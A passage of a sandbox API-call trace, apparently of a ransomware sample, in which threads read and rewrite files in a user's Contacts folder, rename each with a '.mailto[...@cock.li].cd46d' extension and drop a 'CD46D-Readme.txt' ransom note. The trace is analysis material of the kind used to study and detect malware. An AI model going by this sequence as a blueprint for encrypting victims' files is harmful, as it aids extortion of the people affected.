[0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x28117e5f [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x79157b93 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x2ec51d10 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x542bd8f5 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x5f1dfa1f [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x4d9172d5 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x5fa6e076 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x235e70da [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x1654fd21 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x16fceb04 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x47e35d5f [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x4494bb56 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x5df503c1 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x1ae34a3e [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x17163be9 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0xf341a46 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x6df05f4c [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x7a691948 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x62a5a198 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x7eb90f5f [0057.957] ReadFile (in: hFile=0x68c, lpBuffer=0x971f918, nNumberOfBytesToRead=0x499, lpNumberOfBytesRead=0x7fdfcac, lpOverlapped=0x0 | out: lpBuffer=0x971f918*, lpNumberOfBytesRead=0x7fdfcac*=0x499, lpOverlapped=0x0) returned 1 [0057.957] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.957] WriteFile (in: hFile=0x68c, lpBuffer=0x972c120*, nNumberOfBytesToWrite=0x499, lpNumberOfBytesWritten=0x7fdfca8, lpOverlapped=0x0 | out: lpBuffer=0x972c120*, lpNumberOfBytesWritten=0x7fdfca8*=0x499, lpOverlapped=0x0) returned 1 [0058.453] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b18 [0058.453] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428af0 [0058.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428af0) returned 1 [0058.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x972c120) returned 1 [0058.454] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x971f918) returned 1 [0058.454] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b168) returned 1 [0058.454] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0058.454] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x440660 [0058.454] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.454] WriteFile (in: hFile=0x68c, lpBuffer=0x4452d8*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x7fdfd10, lpOverlapped=0x0 | out: lpBuffer=0x4452d8*, lpNumberOfBytesWritten=0x7fdfd10*=0x119, lpOverlapped=0x0) returned 1 [0058.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0058.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440ca0) returned 1 [0058.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428af0) returned 1 [0058.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440660) returned 1 [0058.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b18) returned 1 [0058.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441820) returned 1 [0058.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441190) returned 1 [0058.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412a8) returned 1 [0058.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d5f0 [0058.491] wcscpy (in: _Dest=0x12f4d5f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" [0058.492] wcscat (in: _Dest=0x12f4d5f0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.mailto[2Hamlampampom@cock.li].cd46d" [0058.492] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x7fdfcc8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.492] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d40e0 [0061.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0061.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.475] NtQueryInformationFile (in: FileHandle=0x68c, IoStatusBlock=0x7fdfcd4, FileInformation=0x7fdfcac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7fdfcd4, FileInformation=0x7fdfcac) returned 0x0 [0061.475] NtSetInformationFile (FileHandle=0x68c, IoStatusBlock=0x7fdfcd4, FileInformation=0x7fdfcac, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.494] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d5f0) returned 1 [0061.494] FlushFileBuffers (hFile=0x68c) returned 1 [0062.196] CloseHandle (hObject=0x68c) returned 1 [0062.643] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e07e18 [0062.643] wcscpy (in: _Dest=0x12e07e18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0062.643] wcscat (in: _Dest=0x12e07e18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt" [0062.643] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\cd46d-readme.txt")) returned 0xffffffff [0062.644] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x650 [0063.416] WriteFile (in: hFile=0x650, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x7fdfcd0, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x7fdfcd0*=0x6fd, lpOverlapped=0x0) returned 1 [0063.417] CloseHandle (hObject=0x650) returned 1 [0063.417] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07e18) returned 1 [0063.417] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400198) returned 1 Thread: id = 275 os_tid = 0xa40 [0046.907] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact")) returned 0x20 [0048.801] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", dwFileAttributes=0x20) returned 1 [0053.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6e0 [0053.892] GetFileSizeEx (in: hFile=0x6e0, lpFileSize=0x53bfe04 | out: lpFileSize=0x53bfe04*=1174) returned 1 [0053.892] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x492, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.892] ReadFile (in: hFile=0x6e0, lpBuffer=0x53bfd88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x53bfd84, lpOverlapped=0x0 | out: lpBuffer=0x53bfd88*, lpNumberOfBytesRead=0x53bfd84*=0x4, lpOverlapped=0x0) returned 1 [0053.894] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429430 [0053.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0053.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429390 [0053.894] NtQuerySystemTime (in: CurrentTime=0x53bfd64 | out: CurrentTime=0x53bfd64*=132174898178748000) returned 0x0 [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x747fde33 [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0xa07b8b0 [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x3573346d [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x331370e2 [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x76946c39 [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x1ab6f18b [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x6437253 [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x99389f6 [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x7df874d3 [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x7717ef13 [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0xdcb8373 [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x6cd359d1 [0053.894] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x6f0a8ccc [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x7f01a977 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x344f2576 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x44b07424 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x44023ef2 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x2d18a1cc [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x2c9dd1cd [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x23dfeaf8 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x5f0857dc [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x9ee1b42 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x27b3100a [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x724915a5 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x68965277 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x2ed76ed3 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x4480392 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x499a398a [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x7f9c8a91 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x3716af84 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x4b750362 [0053.895] RtlRandomEx (in: Seed=0x53bfd70 | out: Seed=0x53bfd70) returned 0x60a819e6 [0054.097] ReadFile (in: hFile=0x6e0, lpBuffer=0x19815018, nNumberOfBytesToRead=0x496, lpNumberOfBytesRead=0x53bfd60, lpOverlapped=0x0 | out: lpBuffer=0x19815018*, lpNumberOfBytesRead=0x53bfd60*=0x496, lpOverlapped=0x0) returned 1 [0054.097] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.097] WriteFile (in: hFile=0x6e0, lpBuffer=0x19821820*, nNumberOfBytesToWrite=0x496, lpNumberOfBytesWritten=0x53bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x19821820*, lpNumberOfBytesWritten=0x53bfd5c*=0x496, lpOverlapped=0x0) returned 1 [0054.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429430 [0054.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429390 [0054.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429390) returned 1 [0054.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19821820) returned 1 [0054.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19815018) returned 1 [0054.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b1e0) returned 1 [0054.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0054.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x441020 [0054.099] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.099] WriteFile (in: hFile=0x6e0, lpBuffer=0x5e47ec0*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x53bfdc4, lpOverlapped=0x0 | out: lpBuffer=0x5e47ec0*, lpNumberOfBytesWritten=0x53bfdc4*=0x11b, lpOverlapped=0x0) returned 1 [0054.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47ec0) returned 1 [0054.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440fa0) returned 1 [0054.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429390) returned 1 [0054.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441020) returned 1 [0054.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429430) returned 1 [0054.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429340) returned 1 [0054.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4606c0) returned 1 [0054.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460698) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00540 [0054.104] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" [0054.104] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.mailto[2Hamlampampom@cock.li].cd46d" [0054.104] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x53bfd7c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x4d4000 [0061.478] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4000) returned 1 [0061.478] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x456010) returned 1 [0061.478] NtQueryInformationFile (in: FileHandle=0x6e0, IoStatusBlock=0x53bfd88, FileInformation=0x53bfd60, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x53bfd88, FileInformation=0x53bfd60) returned 0x0 [0061.478] NtSetInformationFile (FileHandle=0x6e0, IoStatusBlock=0x53bfd88, FileInformation=0x53bfd60, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.497] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0061.497] FlushFileBuffers (hFile=0x6e0) returned 1 [0062.196] CloseHandle (hObject=0x6e0) returned 1 [0062.644] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e07d98 [0062.644] wcscpy (in: _Dest=0x12e07d98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0062.644] wcscat (in: _Dest=0x12e07d98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt" [0062.644] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\cd46d-readme.txt")) returned 0x20 [0062.969] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07d98) returned 1 [0062.969] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446b28) returned 1 Thread: id = 276 os_tid = 0xb0 [0046.912] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact")) returned 0x20 [0048.799] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", dwFileAttributes=0x20) returned 1 [0061.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x698 [0061.740] GetFileSizeEx (in: hFile=0x698, lpFileSize=0x807fd04 | out: lpFileSize=0x807fd04*=1172) returned 1 [0061.740] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.740] ReadFile (in: hFile=0x698, lpBuffer=0x807fc88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x807fc84, lpOverlapped=0x0 | out: lpBuffer=0x807fc88*, lpNumberOfBytesRead=0x807fc84*=0x4, lpOverlapped=0x0) returned 1 [0061.742] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429070 [0061.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429318 [0061.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4291b0 [0061.742] NtQuerySystemTime (in: CurrentTime=0x807fc64 | out: CurrentTime=0x807fc64*=132174898257216000) returned 0x0 [0061.742] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x771af5a2 [0061.742] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x6f1b19 [0061.742] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0xde37958 [0061.742] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x654478e1 [0061.742] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0xca72df6 [0061.742] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x23261241 [0061.742] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x2a7d0321 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x19ae2b87 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x7e8ce7b2 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x1d22bb7d [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x295e119 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x4083aa12 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x1be03d65 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0xd735ccd [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x1de03e [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x48a82eb3 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x671d9e2a [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x3d16716b [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x777652e6 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x31c0f042 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x74cb3828 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x384f50a5 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x5f3361b8 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x73620762 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x7d8e04b8 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x19db58d3 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x19ac6163 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x755fe7db [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x63012a54 [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x35757f5a [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x7c3ba5ad [0061.743] RtlRandomEx (in: Seed=0x807fc70 | out: Seed=0x807fc70) returned 0x2e93c0ea [0061.754] ReadFile (in: hFile=0x698, lpBuffer=0x194d0048, nNumberOfBytesToRead=0x494, lpNumberOfBytesRead=0x807fc60, lpOverlapped=0x0 | out: lpBuffer=0x194d0048*, lpNumberOfBytesRead=0x807fc60*=0x494, lpOverlapped=0x0) returned 1 [0061.755] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.755] WriteFile (in: hFile=0x698, lpBuffer=0x5e60870*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x807fc5c, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesWritten=0x807fc5c*=0x494, lpOverlapped=0x0) returned 1 [0061.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429070 [0061.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4291b0 [0061.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291b0) returned 1 [0061.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 1 [0061.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194d0048) returned 1 [0061.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 [0061.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b58) returned 1 [0061.757] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x4a62e0 [0061.757] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.757] WriteFile (in: hFile=0x698, lpBuffer=0x424230*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x807fcc4, lpOverlapped=0x0 | out: lpBuffer=0x424230*, lpNumberOfBytesWritten=0x807fcc4*=0x11b, lpOverlapped=0x0) returned 1 [0061.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6320) returned 1 [0061.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291b0) 